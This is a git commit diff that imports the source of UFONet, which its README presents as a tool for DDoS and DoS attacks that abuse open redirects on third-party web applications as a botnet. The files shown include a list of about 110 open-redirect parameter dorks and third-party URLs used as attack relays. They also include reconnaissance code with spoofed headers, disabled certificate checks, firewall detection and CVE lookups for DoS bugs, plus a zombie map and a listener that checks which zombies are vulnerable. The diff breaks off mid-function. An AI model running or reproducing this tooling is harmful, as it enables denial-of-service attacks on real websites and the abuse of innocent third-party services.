Browse Source

moved from https://github.com/epsylon/ufonet

psy 5 years ago
parent
commit
ddfe7983af
92 changed files with 32200 additions and 60 deletions
  1. 3 58
      .gitignore
  2. 2 0
      MANIFEST.in
  3. 94 2
      README.md
  4. 1 0
      botnet/aliens.txt
  5. 110 0
      botnet/dorks.txt
  6. 1 0
      botnet/droids.txt
  7. 1 0
      botnet/rpcs.txt
  8. 1 0
      botnet/ucavs.txt
  9. 1 0
      botnet/zombies.txt
  10. 9 0
      core/__init__.py
  11. 226 0
      core/abductor.py
  12. 250 0
      core/ajaxmap.py
  13. 126 0
      core/doll.py
  14. 288 0
      core/herd.py
  15. BIN
      core/images/aliens/alien1.png
  16. BIN
      core/images/aliens/alien2.png
  17. BIN
      core/images/aliens/alien3.png
  18. BIN
      core/images/aliens/alien4.png
  19. BIN
      core/images/aliens/alien5.png
  20. BIN
      core/images/aliens/alien6.png
  21. BIN
      core/images/aliens/alien7.png
  22. BIN
      core/images/aliens/alien8.png
  23. BIN
      core/images/board.png
  24. BIN
      core/images/crew/link1.png
  25. BIN
      core/images/crew/link10.png
  26. BIN
      core/images/crew/link11.png
  27. BIN
      core/images/crew/link12.png
  28. BIN
      core/images/crew/link2.png
  29. BIN
      core/images/crew/link3.png
  30. BIN
      core/images/crew/link4.png
  31. BIN
      core/images/crew/link5.png
  32. BIN
      core/images/crew/link6.png
  33. BIN
      core/images/crew/link7.png
  34. BIN
      core/images/crew/link8.png
  35. BIN
      core/images/crew/link9.png
  36. BIN
      core/images/favicon.ico
  37. BIN
      core/images/mothership.png
  38. 1054 0
      core/inspector.py
  39. 10 0
      core/js/ajaxmap.css
  40. 39 0
      core/js/cluster/MarkerCluster.Default.css
  41. 22 0
      core/js/cluster/MarkerCluster.Default.ie.css
  42. 6 0
      core/js/cluster/MarkerCluster.css
  43. 2015 0
      core/js/cluster/leaflet.markercluster-src.js
  44. 6 0
      core/js/cluster/leaflet.markercluster.js
  45. 6 0
      core/js/jquery-1.10.2.min.js
  46. BIN
      core/js/leaflet/images/layers-2x.png
  47. BIN
      core/js/leaflet/images/layers.png
  48. BIN
      core/js/leaflet/images/marker-icon-2x.png
  49. BIN
      core/js/leaflet/images/marker-icon.png
  50. BIN
      core/js/leaflet/images/marker-shadow.png
  51. BIN
      core/js/leaflet/images/ufonet-zombie.png
  52. 8909 0
      core/js/leaflet/leaflet-src.js
  53. 462 0
      core/js/leaflet/leaflet.css
  54. 51 0
      core/js/leaflet/leaflet.ie.css
  55. 9 0
      core/js/leaflet/leaflet.js
  56. 8111 0
      core/js/raphael.js
  57. 599 0
      core/js/rlayer-src.js
  58. 128 0
      core/js/stars.js
  59. 125 0
      core/js/style.css
  60. 101 0
      core/js/ufo-cloud.css
  61. 442 0
      core/js/ufo.js
  62. 42 0
      core/loic.py
  63. 71 0
      core/loris.py
  64. 3028 0
      core/main.py
  65. 168 0
      core/options.py
  66. 23 0
      core/randomip.py
  67. 101 0
      core/txt/motherships.txt
  68. 95 0
      core/txt/user-agents.txt
  69. 79 0
      core/txt/wafs.txt
  70. 32 0
      core/update.py
  71. 3080 0
      core/webgui.py
  72. 193 0
      core/zombie.py
  73. 465 0
      docs/LEEME.txt
  74. 209 0
      docs/LICENSE
  75. 460 0
      docs/README.txt
  76. 13 0
      docs/VERSION
  77. 20 0
      docs/blackhole.txt
  78. 17 0
      docs/grider.txt
  79. 79 0
      docs/manifesto.txt
  80. 1 0
      docs/release.date
  81. 9 0
      server/__init__.py
  82. 451 0
      server/blackhole.py
  83. 0 0
      server/board.txt
  84. 104 0
      server/crypter.py
  85. 0 0
      server/grid.txt
  86. 181 0
      server/grider.py
  87. 4 0
      server/missions.txt
  88. 1 0
      server/news.txt
  89. 1 0
      server/nodes.dat
  90. 0 0
      server/wargames.txt
  91. 49 0
      setup.py
  92. 16 0
      ufonet

+ 3 - 58
.gitignore

@@ -1,60 +1,5 @@
-# ---> Python
-# Byte-compiled / optimized / DLL files
-__pycache__/
-*.py[cod]
-*$py.class
-
-# C extensions
-*.so
-
-# Distribution / packaging
-.Python
-env/
 build/
-develop-eggs/
 dist/
-downloads/
-eggs/
-.eggs/
-lib/
-lib64/
-parts/
-sdist/
-var/
-*.egg-info/
-.installed.cfg
-*.egg
-
-# PyInstaller
-#  Usually these files are written by a python script from a template
-#  before PyInstaller builds the exe, so as to inject date/other infos into it.
-*.manifest
-*.spec
-
-# Installer logs
-pip-log.txt
-pip-delete-this-directory.txt
-
-# Unit test / coverage reports
-htmlcov/
-.tox/
-.coverage
-.coverage.*
-.cache
-nosetests.xml
-coverage.xml
-*,cover
-
-# Translations
-*.mo
-*.pot
-
-# Django stuff:
-*.log
-
-# Sphinx documentation
-docs/_build/
-
-# PyBuilder
-target/
-
+*~
+ufonet.egg-info/
+*.pyc

+ 2 - 0
MANIFEST.in

@@ -0,0 +1,2 @@
+include docs/*
+include botnet/*

+ 94 - 2
README.md

@@ -1,3 +1,95 @@
-# ufonet
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-main_visor_small.png "UFONet Botnet Control Panel")
 
-UFONet - (DDoS botnet + DoS tool) via Web Abuse.
+----------
+
+ + Web:  https://ufonet.03c8.net
+
+----------
+
+ + FAQ:  https://ufonet.03c8.net/FAQ.html
+
+----------
+
+  UFONet - is a tool designed to launch Layer 7 (HTTP/Web Abuse) DDoS & DoS attacks,
+  using 'Open Redirect' vectors on third part web applications (a botnet).
+
+  See these links for more info:
+
+   - CWE-601:Open Redirect: 
+     https://cwe.mitre.org/data/definitions/601.html
+
+   - OWASP:URL Redirector Abuse: 
+     https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-schema.png "UFONet Schema")
+
+----------
+
+#### Installing:
+
+  UFONet runs on many platforms.  It requires Python (>2.7.9) and the following libraries:
+
+       python-pycurl - Python bindings to libcurl
+       python-geoip  - Python bindings for the GeoIP IP-to-country resolver library
+       python-whois  - Python module for retrieving WHOIS information - Python 2
+       python-crypto - Cryptographic algorithms and protocols for Python
+       python-requests - elegant and simple HTTP library for Python2, built for human beings
+
+  You can automatically get all required libraries using:
+
+       python setup.py install
+
+  For manual installation, on Debian-based systems (ex: Ubuntu), run: 
+
+       sudo apt-get install python-pycurl python-geoip python-whois python-crypto python-requests
+
+  On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:
+
+       pip install geoip 
+       pip install requests
+       pip install pycrypto
+
+####  Source libs:
+
+   * Python: https://www.python.org/downloads/
+   * PyCurl: http://pycurl.sourceforge.net/
+   * PyGeoIP: https://pypi.python.org/pypi/GeoIP/
+   * PyWhois: https://pypi.python.org/pypi/whois
+   * PyCrypto: https://pypi.python.org/pypi/pycrypto
+   * PyRequests: https://pypi.python.org/pypi/requests
+   * Leaflet: http://leafletjs.com/ (provided)
+
+----------
+
+####  License:
+
+  UFONet is released under the GPLv3. You can find the full license text
+in the [LICENSE](./docs/LICENSE) file.
+
+----------
+
+####  Screenshots (current version!):
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-shell-gui_small.png "UFONet Botnet GUI Shell")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-grid_small.png "UFONet Botnet Grid")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-grid-stats_small.png "UFONet Botnet Grid Stats")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-stats_small.png "UFONet Botnet General Stats")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-board_small.png "UFONet Botnet Board")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-gui3_small.png "UFONet Botnet GeoMap (deploying)")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-attack_visor_small.png "UFONet Attack Visor")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-gui4_small.png "UFONet Botnet GeoMap (attacking)")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-missions_small.png "UFONet Botnet Missions")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-abduction_small.png "UFONet Botnet Abduction")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-warp_small.png "UFONet Botnet Warp")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-help_small.png "UFONet Botnet Help")

+ 1 - 0
botnet/aliens.txt

@@ -0,0 +1 @@
+https://api.loadimpact.com/v3/anonymous-test-runs;$POST;url

+ 110 - 0
botnet/dorks.txt

@@ -0,0 +1,110 @@
+proxy.php?url=
+ssl_proxy.php?url=
+urlproxy.php?url=
+jproxy.php?url=
+check.cgi?url=
+checklink?uri=
+validator?uri=
+returl=
+redirect_uri/
+redirect_uri=
+redirect_url=
+redirect?url=
+redirect/?url=
+redirect.php?url=
+redirect=
+redirectUrl=
+redirect_to=
+redirects_to=
+redirect/
+redirect.cgi?
+redirect.html?url=
+redirect.htm?url=
+redirect.html?page=
+redirect.php?blog=
+_redirect=
+redir=
+redir_url=
+redir.php?
+redir.aspx?Url=
+redir.aspx?URL=
+referer=
+referrer/
+derefer/?url=
+derefer.php?go=
+pageurl=
+return=
+returnurl=
+return_url=
+returnTo=
+go=
+go.php?url=
+go.html?url=
+goto=
+goto.php?
+goto.php?url=
+gotoURL.asp?url=
+openfile=
+open=
+page=
+pagina=
+link=
+url=
+uri=
+BackURL=
+backTo=
+PageUrl=
+away.php?s=
+translate?u=
+action=
+type=
+docAddr=
+footerlink=
+checkurl=
+siteurl=
+hostname=
+download/?
+login.php?URL=
+login?r=
+login?url=
+login?redir=
+login?redirect=
+login.php?redirect=
+login_page.php?return=
+Login?goto=
+login/?ref=
+login/?next=
+/out?
+logout?url=
+logout?redir=
+logout?redirect=
+logout.php?redirect=
+logout_page.php?return=
+newurl=
+caption=
+forward=
+externalurl.php?url=
+from_page=
+domain=
+customUrl=
+gotoOnFail=
+current_page=
+from=
+imgurl=
+urlToLoad=
+board_url=
+manager.jsp?url=
+adurl=
+index.php?location=
+location=
+r_url=
+target=
+xoops_redirect=
+redirectAction=
+track.php?next=
+NewForm.aspx?Source=
+urlRedirect.action?fullURL=
+home_url=
+x-urlpath=
+urlforward.aspx?Redir=
+/url/

+ 1 - 0
botnet/droids.txt

@@ -0,0 +1 @@
+http://jigsaw.w3.org/css-validator/validator?uri=$TARGET&profile=css3&usermedium=all&vextwarning=true

+ 1 - 0
botnet/rpcs.txt

@@ -0,0 +1 @@
+http://www.ch-orthez.fr/xmlrpc.php

+ 1 - 0
botnet/ucavs.txt

@@ -0,0 +1 @@
+http://www.downforeveryoneorjustme.com/

+ 1 - 0
botnet/zombies.txt

@@ -0,0 +1 @@
+https://validator.w3.org/check?uri=

+ 9 - 0
core/__init__.py

@@ -0,0 +1,9 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""

+ 226 - 0
core/abductor.py

@@ -0,0 +1,226 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - DDoS Botnet via Web Abuse - 2017 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import urllib, urllib2, ssl, random, socket, time, re
+from urlparse import urlparse
+
+# UFONet recognizance (abduction) class
+class Abductor(object):
+    def __init__(self,ufonet):
+        self.ufonet=ufonet
+        self.start = None
+        self.stop = None 
+        self.port = None
+        self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
+        self.ctx.check_hostname = False
+        self.ctx.verify_mode = ssl.CERT_NONE
+
+    def proxy_transport(self, proxy):
+        proxy_url = self.ufonet.extract_proxy(proxy)
+        proxy = urllib2.ProxyHandler({'https': proxy_url})
+        opener = urllib2.build_opener(proxy)
+        urllib2.install_opener(opener)
+
+    def establish_connection(self, target):
+        if target.endswith(""):
+            target.replace("", "/")
+        self.ufonet.user_agent = random.choice(self.ufonet.agents).strip() # suffle user-agent
+        headers = {'User-Agent' : self.ufonet.user_agent, 'Referer' : self.ufonet.referer} # set fake user-agent and referer
+        try:
+            req = urllib2.Request(target, None, headers)
+            if self.ufonet.options.proxy: # set proxy
+                self.proxy_transport(self.ufonet.options.proxy)
+                self.start = time.time()
+                target_reply = urllib2.urlopen(req).read()
+                header = urllib2.urlopen(req).info()
+                self.stop = time.time()
+            else:
+                self.start = time.time()
+                target_reply = urllib2.urlopen(req, context=self.ctx).read()
+                header = urllib2.urlopen(req).info()
+                self.stop = time.time()
+        except: 
+            print('[Error] - Unable to connect...\n')
+            return #sys.exit(2)
+        return target_reply, header
+
+    def convert_size(self, size):
+        import math
+        if (size == 0):
+            return '0B'
+        size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
+        i = int(math.floor(math.log(size,1024)))
+        p = math.pow(1024,i)
+        s = round(size/p,2)
+        return '%s %s' % (s,size_name[i])
+
+    def convert_time(self, time):    
+        return '%.2f' % time
+
+    def extract_banner(self, header): # extract webserver banner
+        try:
+            banner = header["server"]
+        except:
+            banner = "NOT found!"
+        try:
+            via = header["via"]
+        except: # return when fails performing query
+            via = "NOT found!"
+        return banner, via
+
+    def extract_whois(self, domain): # extract whois data from target domain
+        try:
+            import whois
+            d = whois.query(domain, ignore_returncode=True) # ignore return code
+            if d.creation_date is None: # return when no creation date
+                return
+            else:
+                print " -Registrant   : " + str(d.registrar)
+                print " -Creation date: " + str(d.creation_date)
+                print " -Expiration   : " + str(d.expiration_date)
+                print " -Last update  : " + str(d.last_updated)
+        except: # return when fails performing query
+            return
+
+    def extract_cve(self, banner): # extract Denial of Service vulnerabilities related with webserver banner from CVE database
+        url = 'https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword'
+        q = str(banner)
+        query_string = { '':q}
+        data = urllib.urlencode(query_string)
+        target = url + data
+        try:
+            self.ufonet.user_agent = random.choice(self.ufonet.agents).strip() # suffle user-agent
+            headers = {'User-Agent' : self.ufonet.user_agent, 'Referer' : self.ufonet.referer} # set fake user-agent and referer
+            req = urllib2.Request(target, None, headers)
+            if self.ufonet.options.proxy: # set proxy
+                self.proxy_transport(self.ufonet.options.proxy)
+                target_reply = urllib2.urlopen(req).read()
+            else:
+                target_reply = urllib2.urlopen(req, context=self.ctx).read()
+        except: 
+            return #sys.exit(2)
+        if target_reply == "": # no records found
+            return
+        if "<b>0</b> CVE entries" in target_reply: # regex for: no CVE records found
+            cve = "NOT found!"
+        else:
+            regex_s = '<td valign="top" nowrap="nowrap"><a href="(.+?)">' # regex magics
+            pattern_s = re.compile(regex_s)
+            cve = re.findall(pattern_s, target_reply)
+        return cve
+
+    def waf_detection(self, banner, target_reply):
+        self.wafs_file = "core/txt/wafs.txt" # set source path to retrieve 'wafs'
+        try:
+            f = open(self.wafs_file)
+            wafs = f.readlines()
+            f.close()
+        except:
+            wafs = "broken!"
+        sep = "##"
+        for w in wafs:
+            if sep in w:
+                w = w.split(sep)
+                signature = w[0] # signature
+                t = w[1] # vendor
+        if signature in target_reply or signature in banner:
+            waf = "VENDOR -> " + str(t) 
+        else:
+            waf = "FIREWALL NOT PRESENT (or not discovered yet)! ;-)\n"
+        return waf
+                  
+    def abducting(self, target):
+        try:
+            target_reply, header = self.establish_connection(target)
+        except:
+            print "[Error] - Something wrong connecting to your target. Aborting...\n"
+            return #sys.exit(2)
+        if not target_reply:
+            print "[Error] - Something wrong connecting to your target. Aborting...\n"
+            return #sys.exit(2)
+        print ' -Target URL:', target, "\n"
+        try:
+            if target.startswith("http://"):
+                self.port = "80"
+            if target.startswith("https://"):
+                self.port = "443"
+        except:
+            self.port = "Error!"
+        try:
+            domain = urlparse(target)
+            domain = domain.netloc
+            if domain.startswith("www."):
+                domain = domain.replace("www.", "")
+        except:
+            domain = "OFF"
+        try:       
+            ipv4 = socket.gethostbyname(domain)
+        except:
+            ipv4 = "OFF"
+        try:
+            ipv6 = socket.getaddrinfo(domain, port, socket.AF_INET6)
+            ftpca = ipv6[0]
+            ipv6 = ftpca[4][0]
+        except:
+            ipv6 = "OFF"
+        print ' -IP    :', ipv4
+        print ' -IPv6  :', ipv6
+        print ' -Port  :', self.port
+        print ' \n -Domain:', domain
+        try:
+            whois = self.extract_whois(domain)
+        except:
+            pass
+        try:
+            size = self.convert_size(len(target_reply))
+        except:
+            size = "Error!"
+        try:
+            time_required = self.stop - self.start
+            load = self.convert_time(time_required)
+        except:
+            load = "Error!"
+        try:
+            banner, via = self.extract_banner(header)
+        except:
+            pass
+        print '\n---------'
+        print "\nTrying single visit broadband test (using GET)...\n"
+        print ' -Bytes in :', size
+        print ' -Load time:', load, "seconds\n"
+        print '---------'
+        print "\nDetermining webserver fingerprint (note that this value can be a fake)...\n"
+        print ' -Banner:', banner 
+        print ' -Vía   :', via , "\n"
+        print '---------'
+        print "\nSearching for extra Anti-DDoS protections...\n"
+        waf = self.waf_detection(banner, target_reply)
+        print ' -WAF/IDS: ' +  waf
+        if 'VENDOR' in waf:
+            print ' -NOTICE : This FIREWALL probably is using Anti-(D)DoS measures!', "\n"
+        print '---------'
+        if banner == "NOT found!":
+            pass
+        else:
+            print "\nSearching at CVE (https://cve.mitre.org) for vulnerabilities...\n"
+            try:
+                cve = self.extract_cve(banner)
+                if cve == None:
+                    print ' -Reports: NOT found!', "\n"
+                elif cve == "NOT found!":
+                    print ' -Reports:', cve
+                else:
+                    print ' -Reports:'
+                    for c in cve:
+                        cve_info = c.replace("/cgi-bin/cvename.cgi?name=","")
+                        print "\n        +", cve_info, "->", "https://cve.mitre.org" + c # 8 tab for zen
+                print '\n---------'
+            except:
+                pass
+        print "\n[Info] Abduction finished... ;-)\n"

+ 250 - 0
core/ajaxmap.py

@@ -0,0 +1,250 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import socket, threading, re, base64, os, time
+import webbrowser, subprocess, urllib2, json, sys
+from urlparse import urlparse
+from main import UFONet
+import base64, traceback
+
+try:
+    import pygeoip
+except:
+    print "\nError importing: pygeoip lib. \n\n On Debian based systems:\n\n $ 'sudo apt-get install python-geoip' or 'pip install geoip')\n"
+    sys.exit(2)
+
+class AjaxMap(object):
+    def __init__(self):
+        self._geoip=None
+        self._geoasn=None
+        self._geoipstatus='nomap'
+        self._err=''
+        ufonet = UFONet()
+        ufonet.create_options()
+        self.zombies = ufonet.extract_zombies()
+        aliens_army = ufonet.extract_aliens()
+        droids_army = ufonet.extract_droids()
+        ucavs_army = ufonet.extract_ucavs()
+        rpcs_army = ufonet.extract_rpcs()
+        self.zombies.extend(aliens_army)
+        self.zombies.extend(droids_army)
+        self.zombies.extend(ucavs_army)
+        self.zombies.extend(rpcs_army)
+
+    def get_err(self):
+        return self._err
+
+    # check for geoip data status
+    # basic lock file mechanism to avoid multiple downloads
+    def get_status(self):
+        if os.path.exists('maps.downloading'):
+            if not os.path.exists('maps.downloadmsg'):
+                f=open("maps.downloadmsg","wb")
+                f.write("")
+                f.close()
+                print "[Webgui] GeoIP data download started"
+                print "[Webgui] if this error message persists : remove maps.downloading and maps folder, then restart ufonet"
+            self._geoipstatus='downloading'
+        elif os.path.isdir('maps'):
+            if self._geoip == None :
+                self._geoip = pygeoip.GeoIP('maps/GeoLiteCity.dat')
+            if self._geoasn == None :
+                self._geoasn = pygeoip.GeoIP('maps/GeoIPASNum.dat')
+            if os.path.exists("maps.downloadmsg") :
+                os.remove("maps.downloadmsg")
+            self._geoipstatus='ok'
+        return self._geoipstatus
+
+    def retrieve(self,url,name):
+	try:
+	    handle = urllib2.urlopen(url)
+            CHUNK = 16384
+	    with open(name,'wb') as fp:
+	        while True:
+	            chunk = handle.read(CHUNK)
+	            if not chunk:
+	                break
+	            fp.write(chunk)
+	except:
+	    traceback.print_exc()
+
+    def download_maps(self):
+        import subprocess, shlex
+        # generate geolocation values on a map
+        if self.get_status() != 'nomap':
+            return self._geoipstatus == 'ok'
+        if os.path.exists("maps.downloadmsg"):
+            os.remove("maps.downloadmsg")
+        f=open("maps.downloading",'w')
+        f.write("download started<script>$'('#ufomsg').load('/js/ajax.js?fetchmap=')")
+        f.close()
+        self._geoipstatus="downloading"
+        # download maps folder
+        geo_db_mirror1 = 'http://176.28.23.46/bordercheck/maps.tar.gz'  # Turina Server
+        geo_db_mirror2 = 'http://83.163.232.95/bordercheck/maps.tar.gz' # Mirror
+        try: # mirror 1
+            print "\n[Info] - Fetching maps from 'Mirror 1':", geo_db_mirror1 + "\n"
+            response = self.retrieve(geo_db_mirror1, 'maps.tar.gz')
+        except:
+            try: # mirror 2
+                print "[Error] - Mirror 1':", geo_db_mirror1 + " Failed!\n"
+                print "[Info] - Fetching maps from 'Mirror 2':", geo_db_mirror2 + "\n"
+                response = self.retrieve(geo_db_mirror2, 'maps.tar.gz')
+            except:
+                print("[Error] - Something wrong fetching maps from mirrors ...Aborting!"), "\n"
+		traceback.print_exc()
+                return False #sys.exit(2)
+        subprocess.call(shlex.split('tar zxfv maps.tar.gz'))
+        print "\n[Info] GeoIP maps and databases: ready!\n"
+        # set pygeoip data sources
+        self._geoip = pygeoip.GeoIP('maps/GeoLiteCity.dat')
+        self._geoasn = pygeoip.GeoIP('maps/GeoIPASNum.dat')
+        self._geoipstatus='ok'
+        os.remove('maps.tar.gz')
+        os.remove('maps.downloading')
+        return True
+
+    # fetches geoip data for specified zombie
+    def geo_ip(self, zombie):
+        # check for status, downloading is done by ajax() method
+        if self.get_status() != 'ok':
+            if self._geoipstatus =='downloading':
+                print "\n[Info] GeoIP maps and databases: downloading\n"
+	        self._err= "ufomsg('Downloading maps...')"
+            elif not os.path.exists('maps/GeoIPASNum.dat') or not os.path.exists('maps/GeoLiteCity.dat'):
+                print "\n[Info] GeoIP maps and databases: download starting!\n"
+                self._err= "ufomsg('[Info] Map download starting')\n$('#ufomsg').load('/js/ajax.js?fetchgeoip=')"
+            else:
+                print "\n[Info] GeoIP maps and databases: unknown error\n"
+                self._err= "ufomsg('<font color='red'>[Info]</font> Maps: unknown error...')"
+            return None
+        if re.match(r'^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$', zombie) or re.match(r'^10\.\d{1,3}\.\d{1,3}\.\d{1,3}$', zombie) or re.match(r'^192.168\.\d{1,3}\.\d{1,3}$', zombie) or re.match(r'^172.(1[6-9]|2[0-9]|3[0-1]).[0-9]{1,3}.[0-9]{1,3}$', zombie) or re.match('localhost', zombie):
+            self._err= "ufomsg('<font color='red'>[Info]</font> Maps: invalid ip data...')"
+            return None
+        # create geoip data skeleton
+        geo_zombie={}
+        geo_zombie['qq']=zombie
+        url = urlparse(zombie)
+        geo_zombie['city'] = '-'
+        geo_zombie['country'] = '-'
+        geo_zombie['country_code'] = '-'
+        geo_zombie['longitude'] = '-'
+        geo_zombie['latitude'] = '-'
+        geo_zombie['ip'] = '-'
+        geo_zombie['host_name'] = '-'
+        geo_zombie['asn'] = '-'
+        geo_zombie['latitude'] = '-'
+        # retrieve and allocate geoip data
+        try:
+            ip = socket.gethostbyname(url.netloc)
+        except:
+            self._err= "ufomsg('<font color='yellow'>[Info]</font> GeoIP: hostbyname failed for "+str(url.netloc)+"...')"
+            return None
+        if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$",ip):
+            geo_zombie['ip'] = ip
+            try:
+                record = self._geoip.record_by_addr(ip)
+            except:
+                self._err= "ufomsg('<font color='yellow'>[Info]</font> GeoIP: lookup failed for "+ip+", page reload required...')"
+                return None
+            try:
+                asn = self._geoasn.org_by_addr(ip)
+                if asn is not None:
+                    geo_zombie['asn'] = asn.encode('utf-8')
+            except:
+                geo_zombie['asn'] = 'No ASN provided'
+            try:
+                geo_zombie['host_name'] = socket.gethostbyaddr(ip)[0].encode('utf-8')
+            except:
+                geo_zombie['host_name'] = 'No hostname'
+            try:
+                longitude = str(float(record['longitude']))
+                geo_zombie['longitude'] = longitude
+                latitude = str(float(record['latitude']))
+                geo_zombie['latitude'] = latitude
+            except:
+                pass
+            try:
+                geo_zombie['country'] = record["country_name"].encode('utf-8')
+                geo_zombie['country_code'] = record["country_code"].lower().encode('utf-8')
+                if record['city'] is not None:
+                    geo_zombie['city'] = record["city"].encode('utf-8')
+            except:
+                pass
+        return geo_zombie
+
+    # generates javascript for adding a new zombie with geoip data
+    def get_js(self,z):
+        ret = ""
+        gz = self.geo_ip(z)
+        if gz is not None and gz['latitude']!= '-':
+            ret = "Zombies.add('"+z+"',Array(new L.LatLng("+str(gz['latitude'])+","+str(gz['longitude'])+"),'"+gz['city']+"','"+gz['country']+"','"+gz['country_code']+"','"+gz['asn']+"','"+gz['ip']+"','"+gz['host_name']+"'))\n"
+        else:
+            #print 'geozombie dead : ',z
+            ret += "dead_zombies.push('"+z+"')\n"
+        ret += "last_zombie = '"+z+"'\n"
+        return ret
+
+    # fetches next zombie from list (using all types of zombies)
+    def get_next_zombie(self,name):
+        if name in self.zombies:
+            for z in self.zombies:
+                if name == None:
+                    return z
+                if z == name:
+                    name = None
+            return None
+        else:
+            return self.zombies[0]
+
+    # ajax controller
+    def ajax(self,pGet={}):
+        if 'fetchgeoip' in pGet.keys():
+            if self.get_status() == "nomap":
+                self.download_maps()
+                return "[Info] Geoip data download done!<br/>"
+        if 'stats' in pGet.keys():
+            stat='<script>$(".ufo_stat_div").show()</script>'
+            if os.path.exists('/tmp/ufonet.html'):
+                for x in open(r'/tmp/ufonet.html').readlines():
+                    stat = stat + x
+            else:
+                stat="<i>[Info] Waiting for statistics generation...</i>"
+            return stat+"</div>"
+        if self.get_status() != "ok":
+            dljs=""
+            if self.get_status() == "nomap":
+                dljs+="$('#ufomsg').load('/js/ajax.js?fetchgeoip=')\n"
+            if 'doll' in pGet.keys():
+                dljs+="$('#ufomsg').load('/js/ajax.js?fetchdoll="+pGet['doll']+"')\n"
+                dljs+="doll=new Doll('"+pGet["doll"]+"')\n"
+            return "[Info] GeoIP data download in progress...<br><i>see console for errors</i>+<script>"+dljs+"</script>"
+        if 'zombie' in pGet.keys():
+            zn=base64.b64decode(pGet['zombie'])
+            nzn=self.get_next_zombie(zn)
+            if nzn is not None:
+                zombie=self.get_js(nzn)
+                return """ <script>
+                """+zombie+"""
+                ufomsg('[Info] Adding zombie: """+nzn+"""...')
+                </script>"""
+            else:
+                return "<script>zdone=true\nufomsg('[Info] All zombies deployed!...')\n </script>\n"
+        if 'fetchdoll' in pGet.keys():
+            tn=pGet['fetchdoll']
+            target = self.geo_ip(tn)
+            if target is None:
+                return "doll waiting for geoip data !"
+            return """ doll up !<script>
+doll.setData(Array(new L.LatLng("""+str(target['latitude'])+","+str(target['longitude'])+"),'"+target['city']+"','"+target['country']+"','"+target['country_code']+"','"+target['asn']+"','"+target['ip']+"','"+target['host_name']+"'))\nufomsg('[Info] Adding target: """+tn+"""...')\ndoll.show() </script>"""
+        if 'doll' in pGet.keys():
+            tn=pGet['doll']
+            return """<script>
+doll=new Doll('"""+tn+"""')\n</script>"""
+        return "\n"

+ 126 - 0
core/doll.py

@@ -0,0 +1,126 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+from threading import Thread
+import socket, time, os, base64, re, urlparse
+
+class Needle(Thread):
+    def __init__(self, client, addr, parent):
+        Thread.__init__(self)
+        self.daemon = True
+        self.client = client
+        self.parent = parent
+
+    def run(self):
+        data = self.client.recv(1024)
+        if data:
+            if data.startswith("HEAD"):
+                self.parent.data_arrived(data)
+                self.client.send("""HTTP/1.1 200 OK
+Server: UFONet Galactic Cyber Warfare
+Date: Wed, 05 Nov 2042 16:21:23 GMT
+Content-Type: text/html
+Content-Length: """+str(len('thanks for coming!'))+"""
+Connection: close
+
+""")
+                self.client.close()
+            else:
+                self.parent.data_arrived(data)
+                self.client.send('Welcome to UFONet mothership! ;-)\n')
+                self.client.send('='*40)
+                self.client.send("\n\nStream:\n")
+                self.client.send('-'*15 + "\n\n")
+                f = open("mothership", 'r') # read mothership stream
+                self.client.send(str(f.read()))
+                f.close()
+                self.client.close()
+        self.parent.client_finished(self)
+
+class Doll(Thread):
+    def __init__(self, parent):
+        Thread.__init__(self)
+        self.daemon = True
+        self._clients = []
+        self._armed = True
+        self.ready = False
+        self.running =False
+        self.parent = parent
+        self.real_zombies = [] # 100% vulnerable zombies
+        if os.path.exists('mothership') == True:
+            os.remove('mothership') # remove mothership stream 
+        with open('alien') as f: # call alien to verify vulnerability
+            self.alien = f.read().splitlines()
+        f.close()
+
+    def data_arrived(self, data):
+        data.split("\n")[0]
+        self.check_zombie(data)
+        f = open("mothership", 'a') # append data mothership stream
+        f.write(data)
+        f.close()
+
+    def check_zombie(self, data): # check for requests received by a zombie
+        if str(''.join(self.alien)) in data: # hash check
